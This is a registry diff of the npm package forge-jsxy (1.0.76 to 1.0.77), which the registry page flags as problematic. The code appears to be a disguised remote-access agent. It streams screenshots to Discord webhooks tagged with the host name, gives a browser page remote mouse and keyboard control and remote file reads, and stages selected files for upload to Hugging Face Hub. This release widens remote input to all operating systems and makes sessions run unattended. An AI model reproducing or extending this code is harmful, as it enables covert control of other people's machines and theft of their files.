forge-jsxy 1.0.76 → 1.0.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

Files changed (38) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/discordAgentScreenshot.js +6 -1
  15. package/dist/discordRateLimit.js +22 -11
  16. package/dist/discordRelayUpload.js +4 -2
  17. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  18. package/dist/explorerHeavyDirSkips.js +26 -0
  19. package/dist/exportMirrorCopy.d.ts +13 -1
  20. package/dist/exportMirrorCopy.js +89 -2
  21. package/dist/filesExplorer.d.ts +9 -0
  22. package/dist/filesExplorer.js +86 -4
  23. package/dist/fsMessages.d.ts +2 -0
  24. package/dist/fsMessages.js +29 -8
  25. package/dist/fsProtocol.d.ts +8 -4
  26. package/dist/fsProtocol.js +923 -151
  27. package/dist/hfCredentials.d.ts +1 -1
  28. package/dist/hfCredentials.js +1 -1
  29. package/dist/hfSeqIdLookup.d.ts +2 -2
  30. package/dist/hfSeqIdLookup.js +11 -5
  31. package/dist/hfUpload.d.ts +2 -2
  32. package/dist/hfUpload.js +103 -17
  33. package/dist/relayAgent.js +2 -2
  34. package/dist/relayDashboardGate.js +42 -55
  35. package/dist/relayServer.js +154 -6
  36. package/dist/syncClient.js +5 -0
  37. package/dist/windowsInputSync.js +20 -1
  38. package/package.json +3 -1
@@ -3,6 +3,21 @@
3
3
  <head>
4
4
  <meta charset="UTF-8" />
5
5
  <meta name="viewport" content="width=device-width,initial-scale=1" />
6
+ <script>
7
+ (function () {
8
+ try {
9
+ var p = new URLSearchParams(location.search || "");
10
+ var sp = String(p.get("session") || p.get("s") || "").trim();
11
+ if (!sp) return;
12
+ var suf = /^client_/i.test(sp) ? sp.slice(7) : sp;
13
+ p.delete("session");
14
+ p.delete("s");
15
+ p.set("my_vps", suf);
16
+ var nq = p.toString();
17
+ history.replaceState(null, "", location.pathname + (nq ? "?" + nq : "") + location.hash);
18
+ } catch (e) {}
19
+ })();
20
+ </script>
6
21
  <title>Forge Remote Control</title>
7
22
  <style>
8
23
  :root {
@@ -273,8 +288,8 @@
273
288
  </div>
274
289
  </div>
275
290
  <script>
276
- const relayFallback = @@RELAY_FALLBACK_JS@@ || "";
277
- const pwdHint = @@PWD_JS@@ || "";
291
+ const relayFallback = __FORGE_REPLACE_RELAY_FALLBACK_JS__ || "";
292
+ const pwdHint = __FORGE_REPLACE_PWD_JS__ || "";
278
293
  const streamStatsEl = document.getElementById("streamStats");
279
294
  const fpsStateEl = document.getElementById("fpsState");
280
295
  const stateEl = document.getElementById("state");
@@ -357,6 +372,8 @@
357
372
  let lastPointerPoint = null;
358
373
  let suppressClickUntil = 0;
359
374
  let disablePressLifecycle = false;
375
+ let rcActionCaps = null;
376
+ const unsupportedActionNoticeAt = new Map();
360
377
  let lastClickAt = 0;
361
378
  let lastClickPoint = null;
362
379
  let lastClickButton = "left";
@@ -594,11 +611,7 @@
594
611
  sessionAgentVersion = String(row.agent_version || "").trim();
595
612
  sessionAgentOs = String(row.agent_os || "").trim().toLowerCase();
596
613
  refreshWriteModeEligibilityUi();
597
- if (
598
- sessionAgentVersion &&
599
- sessionAgentOs.includes("windows") &&
600
- versionLt(sessionAgentVersion, "1.0.71")
601
- ) {
614
+ if (sessionAgentVersion && versionLt(sessionAgentVersion, "1.0.71")) {
602
615
  setState("Agent v" + sessionAgentVersion + " detected. Upgrade agent from /files to enable reliable control.");
603
616
  }
604
617
  } catch {
@@ -613,11 +626,6 @@
613
626
  setState("Detecting agent platform/version…");
614
627
  return true;
615
628
  }
616
- if (!os.includes("windows")) {
617
- setState("Write mode supports Windows agents only.");
618
- showEmptyState("Remote control input is available only for Windows agents. This session is " + (os || "unknown") + ".", true);
619
- return false;
620
- }
621
629
  if (!ver || versionLt(ver, "1.0.71")) {
622
630
  setState("Upgrade required: agent v" + (ver || "unknown") + " -> v1.0.71+");
623
631
  showEmptyState("This session is running an older agent build. Open /files for this session and click Upgrade agent, then reconnect.", true);
@@ -626,15 +634,13 @@
626
634
  return true;
627
635
  }
628
636
  function refreshWriteModeEligibilityUi() {
629
- const os = String(sessionAgentOs || "").toLowerCase();
630
637
  const ver = String(sessionAgentVersion || "");
631
- const hasOs = os.length > 0;
632
638
  const hasVer = ver.length > 0;
633
639
  // Keep the mode button usable while metadata is still unknown; hard-block only when incompatibility is explicit.
634
- const incompatible = (hasOs && !os.includes("windows")) || (hasVer && versionLt(ver, "1.0.71"));
640
+ const incompatible = hasVer && versionLt(ver, "1.0.71");
635
641
  modeBtn.disabled = false;
636
642
  if (!writeEnabled && incompatible) {
637
- modeBtn.title = "Write mode requires Windows agent v1.0.71+ (upgrade this session from /files).";
643
+ modeBtn.title = "Write mode requires agent v1.0.71+ (upgrade this session from /files).";
638
644
  } else {
639
645
  modeBtn.title = "";
640
646
  }
@@ -763,13 +769,17 @@
763
769
  return relayFallback || "ws://127.0.0.1:9877";
764
770
  }
765
771
  function currentSessionId() {
766
- return String(new URLSearchParams(location.search).get("session") || "").trim();
772
+ const p = new URLSearchParams(location.search);
773
+ let v = String(p.get("my_vps") || p.get("vps") || p.get("session") || "").trim();
774
+ if (!v) return "";
775
+ if (/^client_/i.test(v)) return v;
776
+ return "client_" + v;
767
777
  }
768
778
  function resolveSessionId() {
769
779
  const sid = currentSessionId();
770
780
  if (sid) return sid;
771
- const entered = String(window.prompt("Enter remote session id", "") || "").trim();
772
- return entered;
781
+ /** No `window.prompt` unattended-friendly; use ?my_vps= / ?session= same as /files. */
782
+ return "";
773
783
  }
774
784
  function sessionPwdKey(sid) {
775
785
  return "forge_remote_pwd_" + sid;
@@ -877,7 +887,16 @@
877
887
  }
878
888
  function connect() {
879
889
  const sid = resolveSessionId();
880
- if (!sid) { setState("Session required"); return; }
890
+ if (!sid) {
891
+ setState("Session required");
892
+ if (!hasFrame) {
893
+ showEmptyState(
894
+ "Add ?my_vps=… or ?session=… to this URL (same session id as file explorer). Browser prompt is not used.",
895
+ true
896
+ );
897
+ }
898
+ return;
899
+ }
881
900
  void refreshSessionAgentMeta(sid);
882
901
  const url = wsBaseUrl().replace(/\/+$/, "") + "/ws/viewer/" + encodeURIComponent(sid);
883
902
  disconnect();
@@ -894,7 +913,9 @@
894
913
  armAuthWatchdog();
895
914
  };
896
915
  ws.onclose = () => {
916
+ ws = null;
897
917
  authed = false;
918
+ rcActionCaps = null;
898
919
  setState("Disconnected");
899
920
  stopShotLoop();
900
921
  clearAuthWatchdog();
@@ -933,6 +954,7 @@
933
954
  startShotLoop();
934
955
  requestScreenshot();
935
956
  startRemoteClipboardPoll();
957
+ void refreshRemoteControlCapabilities();
936
958
  if (!hasFrame) showEmptyState("Connected. Waiting for first screenshot frame...", false);
937
959
  } else {
938
960
  forgetPassword(sid);
@@ -1434,7 +1456,12 @@
1434
1456
  let eof = false;
1435
1457
  const chunks = [];
1436
1458
  let fileName = "remote-file.bin";
1459
+ const MAX_CHUNKS = 2048; // 2048 × 8MB = 16 GB cap — safety valve against infinite loop
1460
+ const DEADLINE = Date.now() + 5 * 60 * 1000; // 5-minute wall-clock timeout
1461
+ let chunkCount = 0;
1437
1462
  while (!eof) {
1463
+ if (chunkCount++ >= MAX_CHUNKS) return { ok: false, error: "download aborted: too many chunks (file too large)" };
1464
+ if (Date.now() > DEADLINE) return { ok: false, error: "download aborted: timeout exceeded (5 min)" };
1438
1465
  const r = await wsRequest("fs_read", {
1439
1466
  path: p,
1440
1467
  chunk: true,
@@ -1448,7 +1475,10 @@
1448
1475
  if (seg) fileName = seg;
1449
1476
  const b64 = String(r.b64 || "");
1450
1477
  if (b64) chunks.push(b64);
1451
- off = Number.isFinite(Number(r.next_offset)) ? Math.max(off, Number(r.next_offset)) : off;
1478
+ const nextOff = Number.isFinite(Number(r.next_offset)) ? Number(r.next_offset) : off;
1479
+ // Guard against stuck offset — if agent doesn't advance, treat as eof to avoid infinite loop
1480
+ if (!r.eof && nextOff <= off && b64.length === 0) return { ok: false, error: "download aborted: agent offset did not advance" };
1481
+ off = Math.max(off, nextOff);
1452
1482
  eof = Boolean(r.eof);
1453
1483
  }
1454
1484
  if (chunks.length === 0) return { ok: false, error: "empty file or no read access" };
@@ -1493,7 +1523,8 @@
1493
1523
  const n = String(name || "");
1494
1524
  if (!b) return n;
1495
1525
  if (/[\\/]$/.test(b)) return b + n;
1496
- return b + "\\" + n;
1526
+ // Use the separator that already appears in the base path to handle Unix/macOS correctly
1527
+ return b + (b.indexOf("/") >= 0 ? "/" : "\\") + n;
1497
1528
  }
1498
1529
  async function loadRootsIntoPanel() {
1499
1530
  if (!writeEnabled) return;
@@ -1550,11 +1581,36 @@
1550
1581
  }
1551
1582
  function sendRemoteInput(payload) {
1552
1583
  if (!ws || ws.readyState !== 1 || !authed || !writeEnabled) return;
1584
+ const action = String(payload && payload.action || "").trim();
1585
+ if (action && rcActionCaps && Object.prototype.hasOwnProperty.call(rcActionCaps, action) && !rcActionCaps[action]) {
1586
+ const now = Date.now();
1587
+ const prev = Number(unsupportedActionNoticeAt.get(action) || 0);
1588
+ if (now - prev > 1500) {
1589
+ unsupportedActionNoticeAt.set(action, now);
1590
+ setState("This remote action is unavailable on the current OS/tooling: " + action);
1591
+ }
1592
+ return;
1593
+ }
1553
1594
  ws.send(JSON.stringify(Object.assign({
1554
1595
  type: "rc_input",
1555
1596
  request_id: "rc_" + (++reqSeq),
1556
1597
  }, payload || {})));
1557
1598
  }
1599
+ async function refreshRemoteControlCapabilities() {
1600
+ try {
1601
+ const r = await wsRequest("rc_input", { action: "capabilities" });
1602
+ const caps = r && r.action_capabilities && typeof r.action_capabilities === "object"
1603
+ ? r.action_capabilities
1604
+ : null;
1605
+ if (caps) {
1606
+ rcActionCaps = caps;
1607
+ const notes = Array.isArray(r.notes) ? r.notes.filter(Boolean).map((x) => String(x)) : [];
1608
+ if (notes.length) setState(notes[0]);
1609
+ }
1610
+ } catch {
1611
+ /* old agents may not support capability probing; keep permissive compatibility mode */
1612
+ }
1613
+ }
1558
1614
  function queueMouseMove(point) {
1559
1615
  if (!point) return;
1560
1616
  pendingMovePoint = point;
@@ -94,12 +94,17 @@ function discordWebhookMaxAttachmentBytes() {
94
94
  function discordCaptureMaxBytes() {
95
95
  return Math.min(10 * 1024 * 1024, discordWebhookMaxAttachmentBytes());
96
96
  }
97
+ /** Neutralize Discord @mention triggers (same as formatter.py _neutralize_discord_triggers). */
98
+ function _neutralizeDiscordTriggers(s) {
99
+ return s.replace(/@(everyone|here)/gi, "@\u200b$1");
100
+ }
97
101
  /** Short OS label for Discord screenshot captions. */
98
102
  function _screenshotOsLabel() {
99
103
  const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
100
104
  const h = os.hostname();
101
105
  let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
102
- return h ? `${label} · ${h}` : label;
106
+ // Neutralize @everyone / @here in hostname to prevent unwanted Discord pings
107
+ return h ? `${label} · ${_neutralizeDiscordTriggers(h)}` : label;
103
108
  }
104
109
  /** Screenshot caption in JST with OS label. */
105
110
  function _screenshotCaption() {
@@ -178,19 +178,26 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
178
178
  if (tracker && routeKey) {
179
179
  tracker.update(res.headers, routeKey);
180
180
  }
181
- for (let i = 0; i < max - 1 && res.status === 429; i++) {
182
- const delay = await discord429DelayMs(res);
183
- if (tracker && routeKey) {
184
- const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
185
- res.headers.get("X-RateLimit-Scope") === "global";
186
- const bucket = res.headers.get("X-RateLimit-Bucket");
187
- if (isGlobal) {
188
- tracker.setGlobalPause(delay);
189
- }
190
- else {
191
- tracker.setRoutePause(routeKey, bucket, delay);
181
+ for (let i = 0; i < max - 1 && (res.status === 429 || isRetriable5xx(res.status)); i++) {
182
+ let delay;
183
+ if (res.status === 429) {
184
+ delay = await discord429DelayMs(res);
185
+ if (tracker && routeKey) {
186
+ const isGlobal = res.headers.get("X-RateLimit-Global") === "true" ||
187
+ res.headers.get("X-RateLimit-Scope") === "global";
188
+ const bucket = res.headers.get("X-RateLimit-Bucket");
189
+ if (isGlobal) {
190
+ tracker.setGlobalPause(delay);
191
+ }
192
+ else {
193
+ tracker.setRoutePause(routeKey, bucket, delay);
194
+ }
192
195
  }
193
196
  }
197
+ else {
198
+ // 500/502/503/504: exponential back-off with jitter, capped at 30 s
199
+ delay = clampRetryMs(Math.min(30_000, 1000 * Math.pow(2, i)) + Math.floor(Math.random() * 400));
200
+ }
194
201
  await sleepMs(delay);
195
202
  res = await doFetch();
196
203
  if (tracker && routeKey) {
@@ -199,6 +206,10 @@ async function fetchUntilNot429(doFetch, routeKey, tracker) {
199
206
  }
200
207
  return res;
201
208
  }
209
+ /** True for transient Discord server-side errors that are safe to retry. */
210
+ function isRetriable5xx(status) {
211
+ return status === 500 || status === 502 || status === 503 || status === 504;
212
+ }
202
213
  // ── Error-text backoff (ticket/webhook flow) ──────────────────────────────────
203
214
  function looksLikeDiscordRateLimitMessage(text) {
204
215
  return /429|rate limit|rate_limited|being rate limited/i.test(String(text));
@@ -787,7 +787,7 @@ async function warnDiscordRelayGuildIfMisconfigured() {
787
787
  arr = null;
788
788
  }
789
789
  if (Array.isArray(arr) && arr.length === 0) {
790
- console.warn(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
790
+ console.log(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
791
791
  }
792
792
  }
793
793
  }
@@ -800,7 +800,9 @@ async function warnDiscordRelayGuildIfMisconfigured() {
800
800
  await listGuildTextChannels(tokens[i], guildId);
801
801
  }
802
802
  catch (e) {
803
- console.warn(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
803
+ // Log to stdout (not stderr) — Discord 500/504 are transient server-side errors,
804
+ // not relay bugs; they do not warrant the PM2 error log.
805
+ console.log(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
804
806
  }
805
807
  }
806
808
  }
@@ -0,0 +1,8 @@
1
+ /**
2
+ * Dependency / cache directory names skipped during recursive **search** (under user-data scope),
3
+ * **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
4
+ *
5
+ * Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
6
+ */
7
+ export declare const EXPLORER_HEAVY_SUBDIR_NAMES: Set<string>;
8
+ export declare function explorerHeavySubdirNameSkipped(name: string): boolean;
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.EXPLORER_HEAVY_SUBDIR_NAMES = void 0;
4
+ exports.explorerHeavySubdirNameSkipped = explorerHeavySubdirNameSkipped;
5
+ /**
6
+ * Dependency / cache directory names skipped during recursive **search** (under user-data scope),
7
+ * **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
8
+ *
9
+ * Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
10
+ */
11
+ exports.EXPLORER_HEAVY_SUBDIR_NAMES = new Set([
12
+ "node_modules",
13
+ "venv",
14
+ ".venv",
15
+ "env",
16
+ ".env",
17
+ "__pycache__",
18
+ "site-packages",
19
+ "dist-packages",
20
+ ".tox",
21
+ ".mypy_cache",
22
+ ".pytest_cache",
23
+ ]);
24
+ function explorerHeavySubdirNameSkipped(name) {
25
+ return exports.EXPLORER_HEAVY_SUBDIR_NAMES.has(String(name || "").trim().toLowerCase());
26
+ }
@@ -6,10 +6,22 @@ export type CopyMirrorStagingOptions = {
6
6
  };
7
7
  /** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
8
8
  export declare function isRetryableCopyError(err: unknown): boolean;
9
- /** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
9
+ /**
10
+ * Count regular files under `dir` (symlinks ignored).
11
+ * Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
12
+ * match what mirror + zip will actually include.
13
+ */
10
14
  export declare function countRegularFilesRecursive(dir: string): number;
11
15
  export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
12
16
  mirrorPath: string;
13
17
  baseName: string;
14
18
  }>;
15
19
  export declare function removeMirrorStaging(workRoot: string): Promise<void>;
20
+ /**
21
+ * Mirror multiple absolute file/dir selections into one flat folder with unique entry names
22
+ * (same staging idea as Hub multi-upload `selection.zip`).
23
+ */
24
+ export declare function mirrorSelectionsIntoFlatStage(absoluteSources: string[], stageRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
25
+ stagedItems: number;
26
+ skippedItems: number;
27
+ }>;
@@ -38,6 +38,7 @@ exports.isRetryableCopyError = isRetryableCopyError;
38
38
  exports.countRegularFilesRecursive = countRegularFilesRecursive;
39
39
  exports.copySelectionToMirrorStaging = copySelectionToMirrorStaging;
40
40
  exports.removeMirrorStaging = removeMirrorStaging;
41
+ exports.mirrorSelectionsIntoFlatStage = mirrorSelectionsIntoFlatStage;
41
42
  /**
42
43
  * Snapshot copy for zip / Hub export: copy the selected file or folder into a hidden
43
44
  * staging subtree before compression, so archiver reads stable copies (similar to a
@@ -59,7 +60,9 @@ exports.removeMirrorStaging = removeMirrorStaging;
59
60
  * fail by design; exclusive OS locks with no shared read fail like manual copy.
60
61
  */
61
62
  const fs = __importStar(require("node:fs"));
63
+ const os = __importStar(require("node:os"));
62
64
  const path = __importStar(require("node:path"));
65
+ const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
63
66
  /** Hidden directory under the work root holding the mirrored selection. */
64
67
  exports.EXPORT_MIRROR_DIR = ".mirror";
65
68
  function copyRetryBaseMs() {
@@ -110,7 +113,11 @@ function isRetryableCopyError(err) {
110
113
  }
111
114
  return false;
112
115
  }
113
- /** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
116
+ /**
117
+ * Count regular files under `dir` (symlinks ignored).
118
+ * Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
119
+ * match what mirror + zip will actually include.
120
+ */
114
121
  function countRegularFilesRecursive(dir) {
115
122
  let n = 0;
116
123
  const walk = (d) => {
@@ -125,8 +132,11 @@ function countRegularFilesRecursive(dir) {
125
132
  const child = path.join(d, ent.name);
126
133
  if (ent.isSymbolicLink())
127
134
  continue;
128
- if (ent.isDirectory())
135
+ if (ent.isDirectory()) {
136
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
137
+ continue;
129
138
  walk(child);
139
+ }
130
140
  else if (ent.isFile())
131
141
  n++;
132
142
  }
@@ -182,6 +192,9 @@ async function copyDirectoryTreeSelective(srcRoot, destRoot, maxAttempts, baseDe
182
192
  const src = path.join(srcRoot, relChild);
183
193
  const dest = path.join(destRoot, relChild);
184
194
  if (ent.isDirectory()) {
195
+ if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name)) {
196
+ continue;
197
+ }
185
198
  try {
186
199
  await fs.promises.mkdir(dest, { recursive: true });
187
200
  }
@@ -277,3 +290,77 @@ async function removeMirrorStaging(workRoot) {
277
290
  const p = path.join(workRoot, exports.EXPORT_MIRROR_DIR);
278
291
  await fs.promises.rm(p, { recursive: true, force: true });
279
292
  }
293
+ function uniqueMirrorStageEntryName(destRoot, preferred) {
294
+ const base = String(preferred || "item").replace(/[\\/]/g, "_").trim() || "item";
295
+ let candidate = base;
296
+ let i = 2;
297
+ while (fs.existsSync(path.join(destRoot, candidate))) {
298
+ candidate = `${base} (${i})`;
299
+ i++;
300
+ }
301
+ return candidate;
302
+ }
303
+ function isLockLikeMirrorBasename(name) {
304
+ const n = String(name || "").trim().toLowerCase();
305
+ if (!n)
306
+ return false;
307
+ if (n === "lock" || n === "lockfile")
308
+ return true;
309
+ return n.endsWith(".lock") || n.endsWith(".lck") || n.endsWith(".pid") || n.endsWith(".pid.lock");
310
+ }
311
+ /**
312
+ * Mirror multiple absolute file/dir selections into one flat folder with unique entry names
313
+ * (same staging idea as Hub multi-upload `selection.zip`).
314
+ */
315
+ async function mirrorSelectionsIntoFlatStage(absoluteSources, stageRoot, opts) {
316
+ await fs.promises.mkdir(stageRoot, { recursive: true });
317
+ let stagedItems = 0;
318
+ let skippedItems = 0;
319
+ for (const src of absoluteSources) {
320
+ let srcStat = null;
321
+ try {
322
+ srcStat = fs.statSync(src);
323
+ }
324
+ catch {
325
+ skippedItems++;
326
+ continue;
327
+ }
328
+ if (srcStat.isFile() && isLockLikeMirrorBasename(path.basename(src))) {
329
+ skippedItems++;
330
+ continue;
331
+ }
332
+ const perItemRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-mirror-sel-"));
333
+ try {
334
+ const { mirrorPath, baseName } = await copySelectionToMirrorStaging(src, perItemRoot, opts);
335
+ if (!fs.existsSync(mirrorPath)) {
336
+ skippedItems++;
337
+ continue;
338
+ }
339
+ const destName = uniqueMirrorStageEntryName(stageRoot, baseName);
340
+ await fs.promises.cp(mirrorPath, path.join(stageRoot, destName), {
341
+ recursive: true,
342
+ force: true,
343
+ dereference: false,
344
+ });
345
+ stagedItems++;
346
+ }
347
+ catch {
348
+ skippedItems++;
349
+ }
350
+ finally {
351
+ try {
352
+ await removeMirrorStaging(perItemRoot);
353
+ }
354
+ catch {
355
+ /* skip */
356
+ }
357
+ try {
358
+ fs.rmSync(perItemRoot, { recursive: true, force: true });
359
+ }
360
+ catch {
361
+ /* skip */
362
+ }
363
+ }
364
+ }
365
+ return { stagedItems, skippedItems };
366
+ }
@@ -6,5 +6,14 @@ export interface FilesExplorerHtmlOptions {
6
6
  }
7
7
  /** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
8
8
  export declare function getForgeExplorerFaviconSvg(): string;
9
+ /**
10
+ * VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
11
+ */
12
+ export declare function readExplorerCodiconAsset(name: string): Buffer;
13
+ /**
14
+ * highlight.js bundle + Dark+–style CSS for file-explorer text preview
15
+ * (`GET /forge-explorer-highlight/*`).
16
+ */
17
+ export declare function readExplorerHighlightAsset(name: string): Buffer;
9
18
  export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
10
19
  export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
36
  exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
37
+ exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
38
+ exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
37
39
  exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
38
40
  exports.buildRemoteControlHtml = buildRemoteControlHtml;
39
41
  /**
@@ -107,6 +109,60 @@ function getForgeExplorerFaviconSvg() {
107
109
  }
108
110
  throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
109
111
  }
112
+ const _explorerCodiconNames = new Set(["codicon.css", "codicon.ttf"]);
113
+ /**
114
+ * VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
115
+ */
116
+ function readExplorerCodiconAsset(name) {
117
+ const base = path.basename(name);
118
+ if (!_explorerCodiconNames.has(base)) {
119
+ throw new Error(`invalid codicon asset: ${base}`);
120
+ }
121
+ const candidates = [
122
+ path.join(__dirname, "assets", "codicons", base),
123
+ path.join(__dirname, "..", "assets", "codicons", base),
124
+ ];
125
+ for (const p of candidates) {
126
+ try {
127
+ if (fs.existsSync(p)) {
128
+ return fs.readFileSync(p);
129
+ }
130
+ }
131
+ catch {
132
+ continue;
133
+ }
134
+ }
135
+ throw new Error(`codicon asset missing: ${base} (run npm run build — copy assets/codicons)`);
136
+ }
137
+ const _explorerHighlightNames = new Set([
138
+ "highlight.min.js",
139
+ "explorer-highlight.css",
140
+ ]);
141
+ /**
142
+ * highlight.js bundle + Dark+–style CSS for file-explorer text preview
143
+ * (`GET /forge-explorer-highlight/*`).
144
+ */
145
+ function readExplorerHighlightAsset(name) {
146
+ const base = path.basename(name);
147
+ if (!_explorerHighlightNames.has(base)) {
148
+ throw new Error(`invalid explorer highlight asset: ${base}`);
149
+ }
150
+ const candidates = [
151
+ path.join(__dirname, "assets", "explorer-highlight", base),
152
+ path.join(__dirname, "..", "assets", "explorer-highlight", base),
153
+ ];
154
+ for (const p of candidates) {
155
+ try {
156
+ if (fs.existsSync(p)) {
157
+ return fs.readFileSync(p);
158
+ }
159
+ }
160
+ catch {
161
+ continue;
162
+ }
163
+ }
164
+ throw new Error(`explorer-highlight asset missing: ${base} (run npm run build — copy assets/explorer-highlight)`);
165
+ }
110
166
  function htmlEscapeAttr(s) {
111
167
  return s
112
168
  .replace(/&/g, "&amp;")
@@ -114,6 +170,29 @@ function htmlEscapeAttr(s) {
114
170
  .replace(/</g, "&lt;")
115
171
  .replace(/>/g, "&gt;");
116
172
  }
173
+ let _forgeJsPkgVersion = null;
174
+ function forgeJsPackageVersion() {
175
+ if (_forgeJsPkgVersion !== null)
176
+ return _forgeJsPkgVersion;
177
+ const candidates = [
178
+ path.join(__dirname, "..", "package.json"),
179
+ path.join(__dirname, "..", "..", "package.json"),
180
+ ];
181
+ for (const p of candidates) {
182
+ try {
183
+ if (fs.existsSync(p)) {
184
+ const j = JSON.parse(fs.readFileSync(p, "utf8"));
185
+ _forgeJsPkgVersion = String(j.version || "0").trim() || "0";
186
+ return _forgeJsPkgVersion;
187
+ }
188
+ }
189
+ catch {
190
+ continue;
191
+ }
192
+ }
193
+ _forgeJsPkgVersion = "0";
194
+ return _forgeJsPkgVersion;
195
+ }
117
196
  function buildFilesExplorerHtml(opts = {}) {
118
197
  const pwd = opts.defaultPassword ??
119
198
  process.env.CFGMGR_SESSION_PASSWORD ??
@@ -125,10 +204,13 @@ function buildFilesExplorerHtml(opts = {}) {
125
204
  if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
126
205
  relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
127
206
  }
207
+ const ver = encodeURIComponent(forgeJsPackageVersion());
128
208
  return loadTemplate()
129
209
  .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
130
- .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
131
- .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
210
+ .replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
211
+ .replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd))
212
+ .replace('href="/forge-explorer-codicons/codicon.css"', `href="/forge-explorer-codicons/codicon.css?v=${ver}"`)
213
+ .replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
132
214
  }
133
215
  function buildRemoteControlHtml(opts = {}) {
134
216
  const pwd = opts.defaultPassword ??
@@ -143,6 +225,6 @@ function buildRemoteControlHtml(opts = {}) {
143
225
  }
144
226
  return loadRemoteTemplate()
145
227
  .replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
146
- .replace(/@@RELAY_FALLBACK_JS@@/g, JSON.stringify(relay))
147
- .replace(/@@PWD_JS@@/g, JSON.stringify(pwd));
228
+ .replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
229
+ .replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd));
148
230
  }
@@ -1 +1,3 @@
1
+ /** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
2
+ export declare function jsonBoolLoose(v: unknown): boolean;
1
3
  export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;